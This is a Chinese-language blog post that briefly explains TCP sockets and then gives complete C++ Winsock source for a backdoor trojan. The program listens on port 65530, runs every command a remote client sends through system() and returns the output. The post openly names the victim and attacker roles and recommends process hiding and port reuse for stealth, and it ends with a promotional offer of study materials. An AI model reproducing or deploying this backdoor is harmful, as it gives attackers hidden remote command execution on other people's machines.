linux中基于C/C++socket通信的后台木马程序(含源码)
liebian365 2024-10-19 07:59 26 浏览 0 评论
##什么是socket通信?
网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket。
建立网络通信连接至少要一对端口号(socket)。socket本质是编程接口(API),对TCP/IP的封装,TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口;HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
Socket的英文原义是“孔”或“插座”。作为BSD UNIX的进程通信机制,取后一种意思。通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同虚拟机或不同计算机之间的通信。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。Socket正如其英文原义那样,像一个多孔插座。一台主机犹如布满各种插座的房间,每个插座有一个编号,有的插座提供220伏交流电, 有的提供110伏交流电,有的则提供有线电视节目。 客户软件将插头插到不同编号的插座,就可以得到不同的服务。
##现在我们来基于c/c++的socket来编写一个能够运行在windows上的后门软件,修改后可在linux上运行。
##所需要的头文件、命名空间和链接库
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>
using namespace std;
#pragma comment(lib,"ws2_32.lib")
##初始化socket库
Socket_TCP_connect() {
WORD socketversion = MAKEWORD(2, 0); //初始化版本
WSADATA socketData; //初始化套接字内容
WSAStartup(socketversion, &socketData); //初始化socket库
}
##建立tcp套接字监听并绑定地址和端口
void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)
{
s1 = socket(AF_INET, SOCK_STREAM, 0);
sin1.sin_family = AF_INET;
sin1.sin_addr.S_un.S_addr = ip_list;
sin1.sin_port = htons(port);
bind(s1, (sockaddr *)&sin1, sizeof(sin1));
listen(s1, 5);
Socket_TCP_Accept();
}
##接受客户端信息
void Socket_TCP_Accept()
{
char buffer[1024];
int addrlen = sizeof(sin2);
while (true)
{
FILE *fp = fopen("123.txt", "w+");
fclose(fp);
cout << ">>wait for connect……" << endl;
s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
while (true)
{
int ret = recv(s2, buffer, sizeof(buffer), 0);
buffer[ret] = 0x00;
string commend = buffer;
string cmd = "";
for (auto &chr : commend)
{
if (chr == '\n')
{
chr = ' ';
}
cmd = cmd + chr;
}
cmd = cmd + "> 123.txt";
char c[1024];
strcpy(c, cmd.c_str());
cout << "执行:" << endl;
cout << c << endl;
if (system(buffer) == 0)
{
send(s2, "OK", strlen("OK"), 0);
if (system(c) == 0)
{
char str[1024] = "";
FILE *fp2 = fopen("123.txt", "rb+");
fread(str, sizeof(char), 1024, fp2);
cout << str;
send(s2, str, strlen(str), 0);
fclose(fp2);
}
}
}
closesocket(s2);
}
closesocket(s1);
WSACleanup();
}
##核心思想:
本程序可以在主机上打开一个TCP连接,端口号为65530,并且接受客户端发来的指令,通过system()函数运行指令,并通过I/O操作将指令发送至客户端。
被攻击者为socket服务器端,攻击者为客户端。添加进程隐藏和多线程端口复用技术后,可以增加隐蔽性。
##完整源码:
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>
using namespace std;
#pragma comment(lib,"ws2_32.lib")
class Socket_TCP_connect {
public:
//初始化socket库
Socket_TCP_connect() {
WORD socketversion = MAKEWORD(2, 0); //初始化版本
WSADATA socketData; //初始化套接字内容
WSAStartup(socketversion, &socketData); //初始化socket库
}
public:
//建立tcp套接字监听并绑定地址和端口
void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)
{
s1 = socket(AF_INET, SOCK_STREAM, 0);
sin1.sin_family = AF_INET;
sin1.sin_addr.S_un.S_addr = ip_list;
sin1.sin_port = htons(port);
bind(s1, (sockaddr *)&sin1, sizeof(sin1));
listen(s1, 5);
Socket_TCP_Accept();
}
private:
//接受客户端信息
void Socket_TCP_Accept()
{
char buffer[1024];
int addrlen = sizeof(sin2);
while (true)
{
FILE *fp = fopen("123.txt", "w+");
fclose(fp);
cout << ">>wait for connect……" << endl;
s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
while (true)
{
int ret = recv(s2, buffer, sizeof(buffer), 0);
buffer[ret] = 0x00;
string commend = buffer;
string cmd = "";
for (auto &chr : commend)
{
if (chr == '\n')
{
chr = ' ';
}
cmd = cmd + chr;
}
cmd = cmd + "> 123.txt";
char c[1024];
strcpy(c, cmd.c_str());
cout << "执行:" << endl;
cout << c << endl;
if (system(buffer) == 0)
{
send(s2, "OK", strlen("OK"), 0);
if (system(c) == 0)
{
char str[1024] = "";
FILE *fp2 = fopen("123.txt", "rb+");
fread(str, sizeof(char), 1024, fp2);
cout << str;
send(s2, str, strlen(str), 0);
fclose(fp2);
}
}
}
closesocket(s2);
}
closesocket(s1);
WSACleanup();
}
private:
SOCKET s1, s2;
sockaddr_in sin1, sin2;
};
int main()
{
system("chcp 65001");
Socket_TCP_connect* conn = new Socket_TCP_connect();
conn->Socket_TCP_Bind_Listen();
return 0;
}
##实验效果:
注:需要C/C++ Linux服务器开发学习资料私信“资料”(资料包括C/C++,Linux,golang技术,Nginx,ZeroMQ,MySQL,Redis,fastdfs,MongoDB,ZK,流媒体,CDN,P2P,K8S,Docker,TCP/IP,协程,DPDK,ffmpeg等),免费分享
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